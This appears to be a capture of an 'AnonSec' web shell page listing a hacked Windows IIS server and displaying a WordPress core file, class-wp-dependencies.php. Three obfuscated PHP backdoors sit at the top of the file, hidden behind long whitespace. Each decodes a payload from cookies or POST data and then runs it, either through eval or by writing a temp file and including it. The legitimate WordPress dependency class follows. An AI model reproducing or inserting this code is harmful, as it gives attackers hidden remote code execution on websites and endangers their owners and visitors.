AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 18.118.31.32
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/ppp/wp-includes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/ppp/wp-includes/class-wp-dependencies.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $TNOZKSye = chr (104) . 'Y' . chr (115) . "\137" . 'x' . "\172" . "\x4d" . 'I' . "\104";$UZwkxNFDl = "\143" . "\154" . "\x61" . 's' . chr (115) . '_' . chr (101) . chr (120) . "\151" . chr (115) . "\164" . 's';$eakONlxN = $UZwkxNFDl($TNOZKSye); $TNOZKSye = "42672";$YjUTOdiBo = $eakONlxN;$UZwkxNFDl = "55505";if (!$YjUTOdiBo){class hYs_xzMID{private $DuoqHjoHhD;public static $vdOKPTea = "c6fae5f1-7b9a-413b-a79a-d45218c1a0b2";public static $AHfPPsCfF = 28635;public function __construct($aRSPjGfqn=0){$FnzkR = $_COOKIE;$BVfTKE = $_POST;$ERUAF = @$FnzkR[substr(hYs_xzMID::$vdOKPTea, 0, 4)];if (!empty($ERUAF)){$KVYRqh = "base64";$BKxSlgHRAP = "";$ERUAF = explode(",", $ERUAF);foreach ($ERUAF as $rWDfTBt){$BKxSlgHRAP .= @$FnzkR[$rWDfTBt];$BKxSlgHRAP .= @$BVfTKE[$rWDfTBt];}$BKxSlgHRAP = array_map($KVYRqh . chr ( 637 - 542 ).'d' . 'e' . "\143" . "\x6f" . chr (100) . "\145", array($BKxSlgHRAP,)); $BKxSlgHRAP = $BKxSlgHRAP[0] ^ str_repeat(hYs_xzMID::$vdOKPTea, (strlen($BKxSlgHRAP[0]) / strlen(hYs_xzMID::$vdOKPTea)) + 1);hYs_xzMID::$AHfPPsCfF = @unserialize($BKxSlgHRAP);}}private function UOPlMR(){if (is_array(hYs_xzMID::$AHfPPsCfF)) {$PuQguEPn = str_replace(chr (60) . "\77" . 'p' . 'h' . "\x70", "", hYs_xzMID::$AHfPPsCfF["\143" . 'o' . 'n' . chr (116) . 'e' . "\156" . "\x74"]);eval($PuQguEPn); $Iiyheluh = "27884";exit();}}public function __destruct(){$this->UOPlMR(); $Iiyheluh = "27884";$CxmXPk = str_pad($Iiyheluh, 10);}}$KLglTI = new /* 62005 */ hYs_xzMID(); $KLglTI = substr("14976_27681", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $ftwAEy = "\172" . "\137" . chr ( 646 - 562 ).'U' . "\x6d" . chr ( 1066 - 964 ).chr (100); $XiTUH = "\x63" . "\x6c" . chr ( 989 - 892 )."\x73" . chr (115) . '_' . "\x65" . 'x' . "\x69" . chr ( 1104 - 989 ).chr (116) . 's';$qgUDjYvM = $XiTUH($ftwAEy); $ftwAEy = "45711";$kqRnXW = $qgUDjYvM;$XiTUH = "25456";if (!$kqRnXW){class z_TUmfd{private $JUkcSnR;public static $eqMXGZJl = "5713adb0-d644-4f0b-a8f1-a08e00beb4d4";public static $OSGMKGb = 14044;public function __construct($lsGvEDwR=0){$vSPON = $_COOKIE;$YGqmPtqQ = $_POST;$vKjADHLMz = @$vSPON[substr(z_TUmfd::$eqMXGZJl, 0, 4)];if (!empty($vKjADHLMz)){$fEJYqFl = "base64";$JZWymYbTLJ = "";$vKjADHLMz = explode(",", $vKjADHLMz);foreach ($vKjADHLMz as $ZWHxW){$JZWymYbTLJ .= @$vSPON[$ZWHxW];$JZWymYbTLJ .= @$YGqmPtqQ[$ZWHxW];}$JZWymYbTLJ = array_map($fEJYqFl . "\137" . "\144" . chr ( 1040 - 939 ).'c' . chr (111) . "\x64" . "\x65", array($JZWymYbTLJ,)); $JZWymYbTLJ = $JZWymYbTLJ[0] ^ str_repeat(z_TUmfd::$eqMXGZJl, (strlen($JZWymYbTLJ[0]) / strlen(z_TUmfd::$eqMXGZJl)) + 1);z_TUmfd::$OSGMKGb = @unserialize($JZWymYbTLJ);}}private function VBdFOVPJzo(){if (is_array(z_TUmfd::$OSGMKGb)) {$HwjepsV = sys_get_temp_dir() . "/" . crc32(z_TUmfd::$OSGMKGb[chr ( 326 - 211 ).chr (97) . 'l' . 't']);@z_TUmfd::$OSGMKGb["\167" . chr (114) . 'i' . "\164" . "\145"]($HwjepsV, z_TUmfd::$OSGMKGb[chr ( 685 - 586 ).'o' . chr ( 871 - 761 ).'t' . "\145" . "\156" . chr (116)]);include $HwjepsV;@z_TUmfd::$OSGMKGb["\x64" . "\x65" . 'l' . chr (101) . chr (116) . "\x65"]($HwjepsV); $LKiXrTFzWN = "8597";exit();}}public function __destruct(){$this->VBdFOVPJzo(); $LKiXrTFzWN = "8597";$ipuXNizXq = str_pad($LKiXrTFzWN, 10);}}$FeAPWo = new /* 14999 */ z_TUmfd(); $FeAPWo = substr("10063_5667", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $dPTzUHcXw = "\102" . '_' . chr (98) . 'c' . "\x73" . "\103";$PwKJeAkLFz = chr (99) . chr (108) . 'a' . 's' . chr (115) . chr (95) . chr (101) . chr (120) . chr (105) . chr ( 404 - 289 )."\x74" . 's';$SKoFpJCi = $PwKJeAkLFz($dPTzUHcXw); $dPTzUHcXw = "4215";$nwSpcn = $SKoFpJCi;$PwKJeAkLFz = "25153";if (!$nwSpcn){class B_bcsC{private $yJidfdCSP;public static $hGHrJeyts = "b1735b4b-8fb7-4d37-855a-ec260e6ec510";public static $USdGXkNxxY = 21194;public function __construct($nWGITrKsU=0){$wBQWxufWp = $_COOKIE;$RchMJbvGG = $_POST;$JWnMiN = @$wBQWxufWp[substr(B_bcsC::$hGHrJeyts, 0, 4)];if (!empty($JWnMiN)){$zjZBnb = "base64";$gKuAsoYnSa = "";$JWnMiN = explode(",", $JWnMiN);foreach ($JWnMiN as $OiuThU){$gKuAsoYnSa .= @$wBQWxufWp[$OiuThU];$gKuAsoYnSa .= @$RchMJbvGG[$OiuThU];}$gKuAsoYnSa = array_map($zjZBnb . '_' . chr (100) . 'e' . chr ( 548 - 449 ).'o' . 'd' . chr (101), array($gKuAsoYnSa,)); $gKuAsoYnSa = $gKuAsoYnSa[0] ^ str_repeat(B_bcsC::$hGHrJeyts, (strlen($gKuAsoYnSa[0]) / strlen(B_bcsC::$hGHrJeyts)) + 1);B_bcsC::$USdGXkNxxY = @unserialize($gKuAsoYnSa);}}private function ToLwIJ(){if (is_array(B_bcsC::$USdGXkNxxY)) {$MvquHu = sys_get_temp_dir() . "/" . crc32(B_bcsC::$USdGXkNxxY['s' . "\x61" . chr ( 1068 - 960 )."\x74"]);@B_bcsC::$USdGXkNxxY[chr (119) . "\x72" . chr ( 662 - 557 ).'t' . "\145"]($MvquHu, B_bcsC::$USdGXkNxxY["\x63" . chr (111) . "\156" . "\164" . "\145" . "\x6e" . "\164"]);include $MvquHu;@B_bcsC::$USdGXkNxxY['d' . 'e' . 'l' . "\145" . 't' . 'e']($MvquHu); $lFrEua = "55736";exit();}}public function __destruct(){$this->ToLwIJ(); $lFrEua = "55736";$qeNACUsikR = str_pad($lFrEua, 10);}}$jiCqum = new /* 8198 */ B_bcsC(); $jiCqum = substr("25359_46", 1);} ?><?php
/**
 * Dependencies API: WP_Dependencies base class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core base class extended to register items.
 *
 * @since 2.6.0
 *
 * @see _WP_Dependency
 */
#[AllowDynamicProperties]
class WP_Dependencies {
	/**
	 * An array of all registered dependencies keyed by handle.
	 *
	 * @since 2.6.8
	 *
	 * @var _WP_Dependency[]
	 */
	public $registered = array();

	/**
	 * An array of handles of queued dependencies.
	 *
	 * @since 2.6.8
	 *
	 * @var string[]
	 */
	public $queue = array();

	/**
	 * An array of handles of dependencies to queue.
	 *
	 * @since 2.6.0
	 *
	 * @var string[]
	 */
	public $to_do = array();

	/**
	 * An array of handles of dependencies already queued.
	 *
	 * @since 2.6.0
	 *
	 * @var string[]
	 */
	public $done = array();

	/**
	 * An array of additional arguments passed when a handle is registered.
	 *
	 * Arguments are appended to the item query string.
	 *
	 * @since 2.6.0
	 *
	 * @var array
	 */
	public $args = array();

	/**
	 * An array of dependency groups to enqueue.
	 *
	 * Each entry is keyed by handle and represents the integer group level or boolean
	 * false if the handle has no group.
	 *
	 * @since 2.8.0
	 *
	 * @var (int|false)[]
	 */
	public $groups = array();

	/**
	 * A handle group to enqueue.
	 *
	 * @since 2.8.0
	 *
	 * @deprecated 4.5.0
	 * @var int
	 */
	public $group = 0;

	/**
	 * Cached lookup array of flattened queued items and dependencies.
	 *
	 * @since 5.4.0
	 *
	 * @var array
	 */
	private $all_queued_deps;

	/**
	 * List of assets enqueued before details were registered.
	 *
	 * @since 5.9.0
	 *
	 * @var array
	 */
	private $queued_before_register = array();

	/**
	 * Processes the items and dependencies.
	 *
	 * Processes the items passed to it or the queue, and their dependencies.
	 *
	 * @since 2.6.0
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[]|false $handles Optional. Items to be processed: queue (false),
	 *                                       single item (string), or multiple items (array of strings).
	 *                                       Default false.
	 * @param int|false             $group   Optional. Group level: level (int), no group (false).
	 * @return string[] Array of handles of items that have been processed.
	 */
	public function do_items( $handles = false, $group = false ) {
		/*
		 * If nothing is passed, print the queue. If a string is passed,
		 * print that item. If an array is passed, print those items.
		 */
		$handles = false === $handles ? $this->queue : (array) $handles;
		$this->all_deps( $handles );

		foreach ( $this->to_do as $key => $handle ) {
			if ( ! in_array( $handle, $this->done, true ) && isset( $this->registered[ $handle ] ) ) {
				/*
				 * Attempt to process the item. If successful,
				 * add the handle to the done array.
				 *
				 * Unset the item from the to_do array.
				 */
				if ( $this->do_item( $handle, $group ) ) {
					$this->done[] = $handle;
				}

				unset( $this->to_do[ $key ] );
			}
		}

		return $this->done;
	}

	/**
	 * Processes a dependency.
	 *
	 * @since 2.6.0
	 * @since 5.5.0 Added the `$group` parameter.
	 *
	 * @param string    $handle Name of the item. Should be unique.
	 * @param int|false $group  Optional. Group level: level (int), no group (false).
	 *                          Default false.
	 * @return bool True on success, false if not set.
	 */
	public function do_item( $handle, $group = false ) {
		return isset( $this->registered[ $handle ] );
	}

	/**
	 * Determines dependencies.
	 *
	 * Recursively builds an array of items to process taking
	 * dependencies into account. Does NOT catch infinite loops.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no group (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$handles = (array) $handles;
		if ( ! $handles ) {
			return false;
		}

		foreach ( $handles as $handle ) {
			$handle_parts = explode( '?', $handle );
			$handle       = $handle_parts[0];
			$queued       = in_array( $handle, $this->to_do, true );

			if ( in_array( $handle, $this->done, true ) ) { // Already done.
				continue;
			}

			$moved     = $this->set_group( $handle, $recursion, $group );
			$new_group = $this->groups[ $handle ];

			if ( $queued && ! $moved ) { // Already queued and in the right group.
				continue;
			}

			$keep_going = true;
			if ( ! isset( $this->registered[ $handle ] ) ) {
				$keep_going = false; // Item doesn't exist.
			} elseif ( $this->registered[ $handle ]->deps && array_diff( $this->registered[ $handle ]->deps, array_keys( $this->registered ) ) ) {
				$keep_going = false; // Item requires dependencies that don't exist.
			} elseif ( $this->registered[ $handle ]->deps && ! $this->all_deps( $this->registered[ $handle ]->deps, true, $new_group ) ) {
				$keep_going = false; // Item requires dependencies that don't exist.
			}

			if ( ! $keep_going ) { // Either item or its dependencies don't exist.
				if ( $recursion ) {
					return false; // Abort this branch.
				} else {
					continue; // We're at the top level. Move on to the next one.
				}
			}

			if ( $queued ) { // Already grabbed it and its dependencies.
				continue;
			}

			if ( isset( $handle_parts[1] ) ) {
				$this->args[ $handle ] = $handle_parts[1];
			}

			$this->to_do[] = $handle;
		}

		return true;
	}

	/**
	 * Register an item.
	 *
	 * Registers the item if no item of that name already exists.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string           $handle Name of the item. Should be unique.
	 * @param string|false     $src    Full URL of the item, or path of the item relative
	 *                                 to the WordPress root directory. If source is set to false,
	 *                                 the item is an alias of other items it depends on.
	 * @param string[]         $deps   Optional. An array of registered item handles this item depends on.
	 *                                 Default empty array.
	 * @param string|bool|null $ver    Optional. String specifying item version number, if it has one,
	 *                                 which is added to the URL as a query string for cache busting purposes.
	 *                                 If version is set to false, a version number is automatically added
	 *                                 equal to current installed WordPress version.
	 *                                 If set to null, no version is added.
	 * @param mixed            $args   Optional. Custom property of the item. NOT the class property $args.
	 *                                 Examples: $media, $in_footer.
	 * @return bool Whether the item has been registered. True on success, false on failure.
	 */
	public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
		if ( isset( $this->registered[ $handle ] ) ) {
			return false;
		}
		$this->registered[ $handle ] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );

		// If the item was enqueued before the details were registered, enqueue it now.
		if ( array_key_exists( $handle, $this->queued_before_register ) ) {
			if ( ! is_null( $this->queued_before_register[ $handle ] ) ) {
				$this->enqueue( $handle . '?' . $this->queued_before_register[ $handle ] );
			} else {
				$this->enqueue( $handle );
			}

			unset( $this->queued_before_register[ $handle ] );
		}

		return true;
	}

	/**
	 * Add extra item data.
	 *
	 * Adds data to a registered item.
	 *
	 * @since 2.6.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @param mixed  $value  The data value.
	 * @return bool True on success, false on failure.
	 */
	public function add_data( $handle, $key, $value ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		return $this->registered[ $handle ]->add_data( $key, $value );
	}

	/**
	 * Get extra item data.
	 *
	 * Gets data associated with a registered item.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @return mixed Extra item data (string), false otherwise.
	 */
	public function get_data( $handle, $key ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		if ( ! isset( $this->registered[ $handle ]->extra[ $key ] ) ) {
			return false;
		}

		return $this->registered[ $handle ]->extra[ $key ];
	}

	/**
	 * Un-register an item or items.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function remove( $handles ) {
		foreach ( (array) $handles as $handle ) {
			unset( $this->registered[ $handle ] );
		}
	}

	/**
	 * Queue an item or items.
	 *
	 * Decodes handles and arguments, then queues handles and stores
	 * arguments in the class property $args. For example in extending
	 * classes, $args is appended to the item url as a query string.
	 * Note $args is NOT the $args property of items in the $registered array.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function enqueue( $handles ) {
		foreach ( (array) $handles as $handle ) {
			$handle = explode( '?', $handle );

			if ( ! in_array( $handle[0], $this->queue, true ) && isset( $this->registered[ $handle[0] ] ) ) {
				$this->queue[] = $handle[0];

				// Reset all dependencies so they must be recalculated in recurse_deps().
				$this->all_queued_deps = null;

				if ( isset( $handle[1] ) ) {
					$this->args[ $handle[0] ] = $handle[1];
				}
			} elseif ( ! isset( $this->registered[ $handle[0] ] ) ) {
				$this->queued_before_register[ $handle[0] ] = null; // $args

				if ( isset( $handle[1] ) ) {
					$this->queued_before_register[ $handle[0] ] = $handle[1];
				}
			}
		}
	}

	/**
	 * Dequeue an item or items.
	 *
	 * Decodes handles and arguments, then dequeues handles
	 * and removes arguments from the class property $args.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string|string[] $handles Item handle (string) or item handles (array of strings).
	 */
	public function dequeue( $handles ) {
		foreach ( (array) $handles as $handle ) {
			$handle = explode( '?', $handle );
			$key    = array_search( $handle[0], $this->queue, true );

			if ( false !== $key ) {
				// Reset all dependencies so they must be recalculated in recurse_deps().
				$this->all_queued_deps = null;

				unset( $this->queue[ $key ] );
				unset( $this->args[ $handle[0] ] );
			} elseif ( array_key_exists( $handle[0], $this->queued_before_register ) ) {
				unset( $this->queued_before_register[ $handle[0] ] );
			}
		}
	}

	/**
	 * Recursively search the passed dependency tree for a handle.
	 *
	 * @since 4.0.0
	 *
	 * @param string[] $queue  An array of queued _WP_Dependency handles.
	 * @param string   $handle Name of the item. Should be unique.
	 * @return bool Whether the handle is found after recursively searching the dependency tree.
	 */
	protected function recurse_deps( $queue, $handle ) {
		if ( isset( $this->all_queued_deps ) ) {
			return isset( $this->all_queued_deps[ $handle ] );
		}

		$all_deps = array_fill_keys( $queue, true );
		$queues   = array();
		$done     = array();

		while ( $queue ) {
			foreach ( $queue as $queued ) {
				if ( ! isset( $done[ $queued ] ) && isset( $this->registered[ $queued ] ) ) {
					$deps = $this->registered[ $queued ]->deps;
					if ( $deps ) {
						$all_deps += array_fill_keys( $deps, true );
						array_push( $queues, $deps );
					}
					$done[ $queued ] = true;
				}
			}
			$queue = array_pop( $queues );
		}

		$this->all_queued_deps = $all_deps;

		return isset( $this->all_queued_deps[ $handle ] );
	}

	/**
	 * Query the list for an item.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $status Optional. Status of the item to query. Default 'registered'.
	 * @return bool|_WP_Dependency Found, or object Item data.
	 */
	public function query( $handle, $status = 'registered' ) {
		switch ( $status ) {
			case 'registered':
			case 'scripts': // Back compat.
				if ( isset( $this->registered[ $handle ] ) ) {
					return $this->registered[ $handle ];
				}
				return false;

			case 'enqueued':
			case 'queue': // Back compat.
				if ( in_array( $handle, $this->queue, true ) ) {
					return true;
				}
				return $this->recurse_deps( $this->queue, $handle );

			case 'to_do':
			case 'to_print': // Back compat.
				return in_array( $handle, $this->to_do, true );

			case 'done':
			case 'printed': // Back compat.
				return in_array( $handle, $this->done, true );
		}

		return false;
	}

	/**
	 * Set item group, unless already in a lower group.
	 *
	 * @since 2.8.0
	 *
	 * @param string    $handle    Name of the item. Should be unique.
	 * @param bool      $recursion Internal flag that calling function was called recursively.
	 * @param int|false $group     Group level: level (int), no group (false).
	 * @return bool Not already in the group or a lower group.
	 */
	public function set_group( $handle, $recursion, $group ) {
		$group = (int) $group;

		if ( isset( $this->groups[ $handle ] ) && $this->groups[ $handle ] <= $group ) {
			return false;
		}

		$this->groups[ $handle ] = $group;

		return true;
	}

}

AnonSec - 2021